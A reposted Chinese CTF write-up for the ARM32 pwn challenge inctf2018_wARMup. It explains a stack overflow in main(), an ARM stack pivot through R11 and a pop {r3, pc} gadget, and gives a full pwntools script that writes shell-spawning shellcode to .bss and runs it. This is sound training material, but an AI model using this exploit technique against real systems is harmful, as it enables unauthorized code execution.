自学内容网 自学内容网

BUU刷题-Pwn-inctf2018_wARMup(ARM版的栈迁移)

解题所涉知识点:

泄露或修改内存数据:

  1. 堆地址:
  2. 栈地址:
  3. libc地址:
  4. BSS段地址:
    劫持程序执行流程:ARM_ROP
    获得shell或flag:利用shellcode获得shell

题目类型:
ARM_Pwn arm32

相关知识点:

ARM栈迁移
alarm()定时函数
ROPgadget的使用

信息收集总结

题目信息:

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/inctf2018_wARMup]
└─$ file wARMup                                         
wARMup: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=fbe5794e95d6ea5006ea3137c0120ed945acae17, not stripped
                                                                                                                    
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/inctf2018_wARMup]
└─$ checksec --file=wARMup 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified   Fortifiable     FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   111 Symbols     No      0  1wARMup

libc版本:
wp借鉴:pwn_repo/inCTF/inCTF2018_wARMup at master · bash-c/pwn_repo (github.com)
ArmPwn学习_arm pwn 栈迁移-CSDN博客
ARM - SkYe Wiki (mrskye.cn)

核心伪代码分析:

存在利用的的代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[104]; // [sp+4h] [bp-68h] BYREF

  setvbuf(_bss_start, 0, 2, 0);
  puts("Welcome to bi0s CTF!");
  read(0, buf, 0x78u);
  return 0;
}

存在read大概率存在溢出

buf的栈帧

-00000068 buf             DCB 104 dup(?)
+00000000  s              DCB 4 dup(?)
+00000004
+00000004 ; end of stack variables

可以很清晰的发现存在栈溢出漏洞!
但是可以溢出的长度只有0x78-0x68 等于0x10,但是可以溢出的长度太短了,所以可以考虑使用栈迁移

.text:00010548                 SUB     SP, R11, #4
.text:0001054C                 POP     {R11,PC}

这里对标x86的栈迁移指令是:

leave 
retn

也就是所我们只需要控制R11就可以实现栈迁移!

控制r3寄存器的gadget:

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/inctf2018_wARMup]
└─$ ROPgadget --binary wARMup --only "pop"
Gadgets information
============================================================
0x0001054c : pop {fp, pc}
0x00010364 : pop {r3, pc}
0x000104b8 : pop {r4, pc}
0x000105ac : pop {r4, r5, r6, r7, r8, sb, sl, pc}

Unique gadgets found: 4

分析栈帧:

pwndbg> stack 30
00:0000│ sp    0x40800450 —▸ 0x40832c50 ◂— 0
01:0004│ r1 r3 0x40800454 —▸ 0x408004a4 ◂— 0
02:0008│       0x40800458 —▸ 0x408004a0 —▸ 0x10558 (__libc_csu_init) ◂— push {r4, r5, r6, r7, r8, sb, sl, lr}                                             
03:000c│       0x4080045c ◂— 0
04:0010│       0x40800460 —▸ 0x40831cf0 (_rtld_global_ro) ◂— 0
05:0014│       0x40800464 —▸ 0x40833244 ◂— ldrbvc r5, [pc], -r0, lsl #30
06:0018│       0x40800468 —▸ 0x40833178 ◂— andeq r0, r0, r0
07:001c│       0x4080046c ◂— 0x6e43a318
08:0020│       0x40800470 ◂— 0x3721d18
09:0024│       0x40800474 —▸ 0x4096c0ec ◂— '__vdso_clock_gettime'
0a:0028│       0x40800478 —▸ 0x40835c30 —▸ 0x40850000 ◂— 0x464c457f
0b:002c│       0x4080047c —▸ 0x408004f0 ◂— 0
0c:0030│       0x40800480 —▸ 0x40853a5c ◂— 0xf63d4e2e
0d:0034│       0x40800484 ◂— 0x83d
0e:0038│       0x40800488 —▸ 0x408004f4 ◂— 0
0f:003c│       0x4080048c —▸ 0x4080bd38 ◂— cmp r0, #0
10:0040│       0x40800490 ◂— 1
11:0044│       0x40800494 ◂— 0
12:0048│       0x40800498 —▸ 0x4098cb48 (environ) —▸ 0x4080061c —▸ 0x40800731 ◂— 'COLORTERM=truecolor'
13:004c│       0x4080049c —▸ 0x10580 (__libc_csu_init+40) ◂— asrs r6, r6, #2
14:0050│       0x408004a0 —▸ 0x10558 (__libc_csu_init) ◂— push {r4, r5, r6, r7, r8, sb, sl, lr}                                                           
15:0054│       0x408004a4 ◂— 0
16:0058│       0x408004a8 —▸ 0x103d0 (_start) ◂— mov fp, #0
17:005c│       0x408004ac ◂— 0
... ↓          3 skipped
1b:006c│ r11   0x408004bc —▸ 0x40866678 (__libc_start_main+276) ◂— 0xeb005de7

报错:

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/inctf2018_wARMup]
└─$ qemu-arm  -L ./ ./wARMup  
Error while loading /home/kali/Desktop/Pwn/BUU/ARM/inctf2018_wARMup/wARMup: Exec format error

是程序没有可执行权限!

 ► 0x10548 <main+80>              sub    sp, fp, #4                           SP => 0x21130 (0x21134 - 0x4)
   0x1054c <main+84>              pop    {fp, pc}

pop {fp, pc}我们通过溢出将r11(也就是fp)寄存器的值修改为bss段的地址,pc寄存器被修改为我们的gadgets
我们调用的gadget则是用来传参的:给r3传入bss段的地址

0x10364 <_init+8>    pop    {r3, pc}                    <main+56>

这里的r3被作为参数,pc被移动到main函数的read函数地址,这样read就会向bss段写入shellcode:

MOV     R2, #0x78 ; 'x' ; nbytes
MOV     R1, R3          ; buf
MOV     R0, #0          ; fd
BL      read
MOV     R3, #0
MOV     R0, R3
SUB     SP, R11, #4
POP     {R11,PC}

前面的时候r11被修改为bss段所以PC就会被移动到bss段执行shellcode

攻击思路总结

存在一个0x10的溢出点,太短了可能无法调用shellcode,又因为本题是使用qemu模拟出来的所以每个区段再靶场上都是可执行的所以只需要通过栈迁移将sp指针指向bss段并向bss段写入shellcode就可以获得flag了

第一步栈溢出构造覆盖main函数的栈帧地址和放回地址,当调用POP {R11,PC}就可以劫持R11和PC寄存器,这样就可以调用gadget,
gadget可以将参数传给r4,将r4的地址改为bss段再调用main_read的gadgets就可以向bss段写入shellcode,并且劫持PC,从而实现栈迁移!

脚本:

import argparse
from pwn import *
from LibcSearcher import *

# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()

pwnfile = './wARMup'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')

is_remote = args.r
is_debug = args.d

if is_remote:
    sh = remote('node5.buuoj.cn', 27037)
else:
    if is_debug:
        sh = process(["qemu-arm", "-L", "./", "-g", "1234", pwnfile])
    else:
        sh = process(["qemu-arm", "-L", "./", pwnfile])

def mygdb():
    if not is_remote and is_debug:
        gdb.attach(sh, """target remote localhost:1234
        b *0x10540
        b *0x1053C 
        """)  # brva 0xe93 b *0x4008c0
mygdb()
padding = 100#104
pop_r3_pc = 0x00010364
main_read = 0x00010530

payload = padding*b'a'+p32(elf.bss()+0x100)
payload += p32(pop_r3_pc)+p32(elf.bss()+0x100)+p32(main_read)
shellcode = asm(shellcraft.sh())

sh.recvuntil("!\n")
sh.send(payload)
sleep(0.5)
sh.send(p32(elf.bss()+0x100+0x4)+shellcode)
sh.interactive()


原文地址:https://blog.csdn.net/qq_65474192/article/details/142787809

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!